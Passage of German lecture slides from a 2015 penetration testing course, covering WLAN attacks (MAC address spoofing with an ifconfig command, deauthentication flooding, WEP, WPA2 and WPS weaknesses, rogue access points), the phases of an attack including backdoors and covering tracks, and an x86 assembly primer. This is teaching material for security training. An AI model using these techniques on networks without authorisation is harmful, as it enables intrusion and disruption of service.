![Page 177: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/177.jpg)
Matthias Sattler, SySS GmbH
177 März 2015 Penetration Testing: WLAN
Vorteile der MAC-Filterung
• Bieten die meisten Hersteller an
• Filter ist nicht sofort als solcher erkennbar
• Viele unbedarfte Angreifer scheitern schon an der Manipulation der MAC-Adresse.
![Page 178: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/178.jpg)
Matthias Sattler, SySS GmbH
178 März 2015 Penetration Testing: WLAN
Nachteile der MAC-Filterung
• Die meisten weitverbreiteten Theorien über MAC-Adressen:
– statisch
– fest
– eingebrannt einzigartig
![Page 179: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/179.jpg)
Matthias Sattler, SySS GmbH
179 März 2015 Penetration Testing: WLAN
Nachteile der MAC-Filterung
• Die meisten weitverbreiteten Theorien über MAC-Adressen:
– statisch
– fest
– eingebrannt einzigartig
FALSCH!!!
![Page 180: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/180.jpg)
Matthias Sattler, SySS GmbH
180 März 2015 Penetration Testing: WLAN
Nachteile der MAC-Filterung
• MAC-Adressen können innerhalb von Sekunden geändert werden:
– Bsp. (unter Linux): ifconfig wlan0 hw ether 00:11:22:33:44:55
• Gültige MAC-Adressen können über einen Sniffing-Angriff herausgefunden werden
![Page 181: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/181.jpg)
Matthias Sattler, SySS GmbH
181 März 2015 Penetration Testing: WLAN
802.11: Authentifizierung am AP
• Zwei verschiedene Methoden:
– Open System
– Shared Key
• Beide Verfahren nur erfolgreich, wenn der Client versucht, sich mit der SSID des APs an diesem anzumelden.
![Page 182: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/182.jpg)
Matthias Sattler, SySS GmbH
182 März 2015 Penetration Testing: WLAN
Deauthentication Flooding
• APs führen Liste mit assoziierten/authentisierten Clients
• Begrenzter Speicherplatz in der Liste
• APs können abstürzen, wenn Liste überläuft
![Page 183: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/183.jpg)
Matthias Sattler, SySS GmbH
183 März 2015 Penetration Testing: WLAN
Deauthentication Flooding
• APs führen Liste mit assoziierten/authentisierten Clients
• Begrenzter Speicherplatz in der Liste
• APs können abstürzen, wenn Liste überläuft
Flooding mit gefakten Association/Authentication Requests
![Page 184: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/184.jpg)
Matthias Sattler, SySS GmbH
184 März 2015 Penetration Testing: WLAN
Deauthentication Flooding
• APs können assoz./auth. Clients de-assoz./deauth.
• Dies geschieht über Managementframes (unverschlüsselt)
• Authentifizierung dieser Frames erfolgt über BSSID des AP - Fake möglich
Flooding mit gefakten De-Authentication-Frames verhindert Kommunikation
![Page 185: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/185.jpg)
Matthias Sattler, SySS GmbH
185 März 2015 Penetration Testing: WLAN
Demo „Deauthentication-Flooding“
![Page 186: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/186.jpg)
Matthias Sattler, SySS GmbH
186 März 2015 Penetration Testing: WLAN
WEP
• Offene Architektur erfordert Zusatzmechanismen, um Vertraulichkeit zu garantieren Datenverschlüsselung
• WEP = Wired Equivalent Privacy
• Erster Ansatz des IEEE um Vertraulichkeit und Integrität in 802.11-Netzen herzustellen
![Page 187: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/187.jpg)
Matthias Sattler, SySS GmbH
187 März 2015 Penetration Testing: WLAN
WEP
• Offene Architektur erfordert Zusatzmechanismen, um Vertraulichkeit zu garantieren Datenverschlüsselung
• WEP = Wired Equivalent Privacy
• Erster Ansatz des IEEE um Vertraulichkeit und Integrität in 802.11-Netzen herzustellen
ABER: WEP ist NICHT sicher!
![Page 188: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/188.jpg)
Matthias Sattler, SySS GmbH
188 März 2015 Penetration Testing: WLAN
Demo „WEP-Hacking“
![Page 189: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/189.jpg)
Matthias Sattler, SySS GmbH
189 März 2015 Penetration Testing: WLAN
WPA
Zwei unterschiedliche Varianten:
• WPA Enterprise
– Authentifizierung über IEEE 802.1x und EAP gegen RADIUS-Server
– Integritätsprüfung durch Michael MIC
– Vertraulichkeit durch Verwendung von TKIP
![Page 190: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/190.jpg)
Matthias Sattler, SySS GmbH
190 März 2015 Penetration Testing: WLAN
WPA
Zwei unterschiedliche Varianten:
• WPA PSK
– Authentifizierung mittels pre-shared key
– Integritätsprüfung durch Michael MIC
– Vertraulichkeit durch Verwendung von TKIP
![Page 191: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/191.jpg)
Matthias Sattler, SySS GmbH
191 März 2015 Penetration Testing: WLAN
WPA2
Zwei unterschiedliche Varianten:
• WPA2 Enterprise
– Authentifizierung über IEEE 802.1x und EAP gegen einen RADIUS-Server
– Integritätsprüfung durch CCMP-MAC, alternativ MIC
– Vertraulichkeit durch Verwendung von AES-CCMP, alternativ TKIP
![Page 192: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/192.jpg)
Matthias Sattler, SySS GmbH
192 März 2015 Penetration Testing: WLAN
WPA2
Zwei unterschiedliche Varianten:
• WPA2 PSK
– Authentifizierung mittels pre-shared key
– Integritätsprüfung durch CCMP-MAC, alternativ MIC
– Vertraulichkeit durch Verwendung von AES-CCMP, alternativ TKIP
![Page 193: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/193.jpg)
Matthias Sattler, SySS GmbH
193 März 2015 Penetration Testing: WLAN
Demo „WPA2-Hacking“
![Page 194: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/194.jpg)
Matthias Sattler, SySS GmbH
194 März 2015 Penetration Testing: WLAN
WEP / WPA / WPA2
![Page 195: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/195.jpg)
Matthias Sattler, SySS GmbH
195 März 2015 Penetration Testing: WLAN
IEEE 802.1x
• Drei beteiligte Instanzen:
– Supplicant
– Authenticator
– Authentication Server
![Page 196: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/196.jpg)
Matthias Sattler, SySS GmbH
196 März 2015 Penetration Testing: WLAN
EAP
• EAP-Nachrichtentypen:
– EAP-Request
– EAP-Response
– EAP-Failure
– EAP-Success
![Page 197: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/197.jpg)
Matthias Sattler, SySS GmbH
197 März 2015 Penetration Testing: WLAN
EAP
• (weitverbreitete) EAP-Methoden:
![Page 198: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/198.jpg)
Matthias Sattler, SySS GmbH
198 März 2015 Penetration Testing: WLAN
802.11i/RSN
• Schlüsselhierarchie/-management
– Paarweise Schlüssel
– Gruppenschlüssel
![Page 199: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/199.jpg)
Matthias Sattler, SySS GmbH
199 März 2015 Penetration Testing: WLAN
802.11i/RSN
![Page 200: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/200.jpg)
Matthias Sattler, SySS GmbH
200 März 2015 Penetration Testing: WLAN
802.11i/RSN
![Page 201: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/201.jpg)
Matthias Sattler, SySS GmbH
201 März 2015 Penetration Testing: WLAN
802.11i/RSN
![Page 202: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/202.jpg)
Matthias Sattler, SySS GmbH
202 März 2015 Penetration Testing: WLAN
802.11i/RSN
![Page 203: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/203.jpg)
Matthias Sattler, SySS GmbH
203 März 2015 Penetration Testing: WLAN
802.11i/RSN
• TKIP + Michael MIC
• AES-CCMP
![Page 204: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/204.jpg)
Matthias Sattler, SySS GmbH
204 März 2015 Penetration Testing: WLAN
WPS
• Standard der WiFi-Alliance zum einfachen Aufbau eines drahtlosen, verschlüsselten Netzwerkes (2007)
• Drei Wege zur einfachen Kommunikation:
– Push button connect
– PIN configuration – internal Registrar
– PIN configuration – external Registrar
Verfahren besitzt Schwachstellen
![Page 205: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/205.jpg)
Matthias Sattler, SySS GmbH
205 März 2015 Penetration Testing: WLAN
Demo „WPS-Hacking“
![Page 206: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/206.jpg)
Matthias Sattler, SySS GmbH
206 März 2015 Penetration Testing: WLAN
Exkurs „Rogue AP“
![Page 207: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/207.jpg)
Matthias Sattler, SySS GmbH
207 März 2015 Penetration Testing: WLAN
FEIERABEND...
Vielen Dank für Ihre Aufmerksamkeit!
Fragen: [email protected]
![Page 208: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/208.jpg)
Daniel Schalberger, SySS GmbH
208 März 2015 Penetration Testing
Exploiting Generell lassen sich ausnutzbare Schwachstellen in Softwareprodukten in die folgenden Kategorien einteilen: 1. Fehler in der Architektur 2. Fehler in der Anwendungslogik 3. Fehler in der Datenverarbeitung
– Buffer Overflows • Stack Overflow • Heap Overflow
– Format String-Schwachstellen – Off-by-One-Schwachstellen
4. Programmierfehler – Format String-Schwachstellen – Use-after-free-Schwachstellen
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 209: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/209.jpg)
Daniel Schalberger, SySS GmbH
209 März 2015 Penetration Testing
Exploiting
erfordert Kenntnisse über
• Hardware-Architektur (x86, ARM, …)
• Software-Architektur (Windows, Linux, …)
• Programmiersprachen
• Werkzeuge (Debugger, Disassembler, …)
![Page 210: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/210.jpg)
Daniel Schalberger, SySS GmbH
210 März 2015 Penetration Testing
Kompilierung
Source Code
Zwischencode
Assembler
Binärcode Ausführbare Datei
Konzept / Flussdiagramm
![Page 211: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/211.jpg)
Daniel Schalberger, SySS GmbH
211 März 2015 Penetration Testing
Quellcode (C)
#include<stdio.h>
int main() {
printf("Hello World\n");
return 0;
}
![Page 212: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/212.jpg)
Daniel Schalberger, SySS GmbH
212 März 2015 Penetration Testing
Assembler / Maschinencode
Adresse Opcode Assembler-Befehl
-----------------------------------------
00401000 55 PUSH EBP
00401001 8BEC MOV EBP,ESP
00401003 68 00B04000 PUSH 0x0040B000
00401008 E8 07000000 CALL sub_401014
0040100D 83C4 04 ADD ESP,4
00401010 33C0 XOR EAX,EAX
00401012 5D POP EBP
00401013 C3 RETN
0040B000 48656C6C6F… db ‘Hello World‘,13,0
![Page 213: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/213.jpg)
Daniel Schalberger, SySS GmbH
213 März 2015 Penetration Testing
Warum Maschinensprache
• Quellcode wird vor der Ausführung in Maschinensprache übersetzt • Quellcode ist evtl. nicht verfügbar (alte Software / Malware / Closed
Source) Für das Verständnis von Maschinensprache ist das Verständnis der Architektur Vorraussetzung
Adresse Opcode Assembler-Befehl
-----------------------------------------
00401000 55 PUSH EBP
00401001 8BEC MOV EBP,ESP
00401003 68 00B04000 PUSH 0x0040B000
00401008 E8 07000000 CALL sub_401014
0040100D 83C4 04 ADD ESP,4
00401010 33C0 XOR EAX,EAX
00401012 5D POP EBP
00401013 C3 RETN
![Page 214: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/214.jpg)
Daniel Schalberger, SySS GmbH
214 März 2015 Penetration Testing
Von-Neumann-Architektur 1
• Praktisch alle modernen Computer sind VNA • Code und Daten liegen nebeneinander im selben Arbeitsspeicher • Programm besteht aus sequentieller Folge von Befehlen, evtl. mit
Sprungbefehlen • Von-Neumann-Zyklus:
1. Fetch 2. Decode 3. Fetch Operands 4. Execute 5. Write Back
![Page 215: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/215.jpg)
Daniel Schalberger, SySS GmbH
215 März 2015 Penetration Testing
Von-Neumann-Architektur 2
Komponenten in der VNA:
• ALU (Arithmetisch-Logische-Einheit / „Prozessor“) Führt Maschinencode aus
• Control Unit Zuständig für Abarbeitung von Befehlen
• Speicher Speichert Programme und Daten
• Ein/Ausgabe-Einheit Schnittstelle zu Tastatur / Bildschirm / Festplatte etc.
![Page 216: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/216.jpg)
Daniel Schalberger, SySS GmbH
216 März 2015 Penetration Testing
Von-Neumann-Architektur 3
Code Daten
Befehl 1
Befehl 2
Befehl 3
Daten 1
Daten 2
Daten 3
Daten 4
Prozessor
Speicher
![Page 217: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/217.jpg)
Daniel Schalberger, SySS GmbH
217 März 2015 Penetration Testing
Register
• Kleine (wenige Byte groß), sehr schnelle Speicher • Ähnlich wir Variablen in höheren Programmiersprachen • Nur wenige Register verfügbar
• Speicherzugriffe werden meistens über Register
durchgeführt: 1. R1 = 100 2. R2 = [0x00401234] 3. R3 = R2 + R1 4. [0x00401238] = R3
![Page 218: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/218.jpg)
Daniel Schalberger, SySS GmbH
218 März 2015 Penetration Testing
RISC (Reduced Instruction Set Computer)
• Wenige Befehle
• Viele Register
• Einheitliche Instruktionslänge (z.B. immer 32 Bit)
• Sehr „Low Level“
• Einfach zu Disassemblieren
• Schwer zu verstehen
• Beispiel: ARM
![Page 219: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/219.jpg)
Daniel Schalberger, SySS GmbH
219 März 2015 Penetration Testing
CISC (Complex Instruction Set Computer)
• Viele verschiedene Befehle • Wenige Register, aber Spezialregister • Befehle sind unterschiedlich lang • Schwieriger zu disassemblieren • Programme näher an Hochsprache (z.B.
Schleifenbefehle, Direkter Speicherzugriff) • Dadurch leichter lesbar • Beispiel: Intel 80x86
![Page 220: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/220.jpg)
Daniel Schalberger, SySS GmbH
220 März 2015 Penetration Testing
Byte-Reihenfolge / Endianess
• Big Endian:
Signifikantestes Byte liegt im Speicher vorne
Analog: Uhrzeit (13:37:00 Uhr)
• Little Endian:
Signifikantestes Byte liegt im Speicher hinten
Analog: Datum (13.02.2014)
![Page 221: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/221.jpg)
Daniel Schalberger, SySS GmbH
221 März 2015 Penetration Testing
Unser Fokus: Intel 80x86 (IA-32)
• Wir betrachten Intel 80x86er-Architektur (seit
1978) • Kontinuierliche Weiterentwicklung (32 Bit, FPU,
MMX, SSE, SSE2, SSE3, …) • IA32-Architektur (seit 80386, 1985) ist auch 2014
die beherrschende Architektur • 64-Bit-Erweiterung AMD64 spielt für uns keine
Rolle (wichtig für Betriebsysteme, Treiber, speicherhungrige Applikationen)
![Page 222: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/222.jpg)
Daniel Schalberger, SySS GmbH
222 März 2015 Penetration Testing
IA32-Eckdaten
• 32 Bit-Register
• 32 Bit-Adressbus (max. 4GB Speicher)
• Little Endian
• CISC – Wenige Register
– Komplexe Speicherverwaltung
– Viele Befehle (mehrere hundert verschiedene)
– Befehle unterschiedlich lang (1 Byte bis 15 Bytes)
![Page 223: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/223.jpg)
Daniel Schalberger, SySS GmbH
223 März 2015 Penetration Testing
Prozessor-Register Register Verwendung
EAX Akkumulator
EBX Basis Register
ECX Counter Register
EDX Data Register
ESI Source Index
EDI Destination Index
Register Verwendung
ESP Stack Pointer
EBP Base Pointer
EIP Instruction Pointer
EFlags Flags
Es gibt durch spätere Architektur-Erweiterungen (MMX, SSE) unzählige weitere Register, die aber in „normalem“ Code so gut wie nie verwendet werden. Ausnahme: z.B. 3D-Berechnungen, Bild- und Video-Verarbeitung, Kryptographie (z.B. John the Ripper)
Segment-Register
CS, DS, ES, FS, GS, SS
![Page 224: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/224.jpg)
Daniel Schalberger, SySS GmbH
224 März 2015 Penetration Testing
Allgemeine Register Register Verwendung
EAX Ergebnis von Berechnungen, Rückganewert von Funktionen
EBX Basis für Speicher-Adressierungen
ECX Zähler in Schleifen
EDX Ergänzung zu EAX bei 64-Bit-Berechnungen
ESI Quelle bei String-Operationen
EDI Ziel bei String-Operationen
![Page 225: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/225.jpg)
Daniel Schalberger, SySS GmbH
225 März 2015 Penetration Testing
Spezial-Register Register Verwendung
ESP Zeigt auf die Spitze des „Stacks“
EBP Zur Adressierung lokaler Variablen
EIP Wird nach dem Lesen („fetch“) einer Anweisung automatisch erhöht und zeigt dann auf die nächste Anweisung im Arbeitsspeicher
EFlags Enthält diverse Bits, die anhängig von Ausgabe bestimmter Operationen oder Berechnungen gesetzt werden und anschließend mit hilfe bedingter Sprünge ausgewertet werden können
![Page 226: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/226.jpg)
Daniel Schalberger, SySS GmbH
226 März 2015 Penetration Testing
EFlags
• Inhalt des EFlags-Registers abhängig von vorheriger Berechnung. Wichtige Bits sind:
Bit Bedeutung
Zero Flag Vorangehende Berechnung ergab den Wert 0
Sign Flag Berechnung ergab negativen Wert
![Page 227: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/227.jpg)
Daniel Schalberger, SySS GmbH
227 März 2015 Penetration Testing
Zugriff auf Register
EAX
AX
AL AH
Abwärtskompatibilität: Zugriff kann
• auf das gesamte Register
• auf einzelne Teile erfolgen
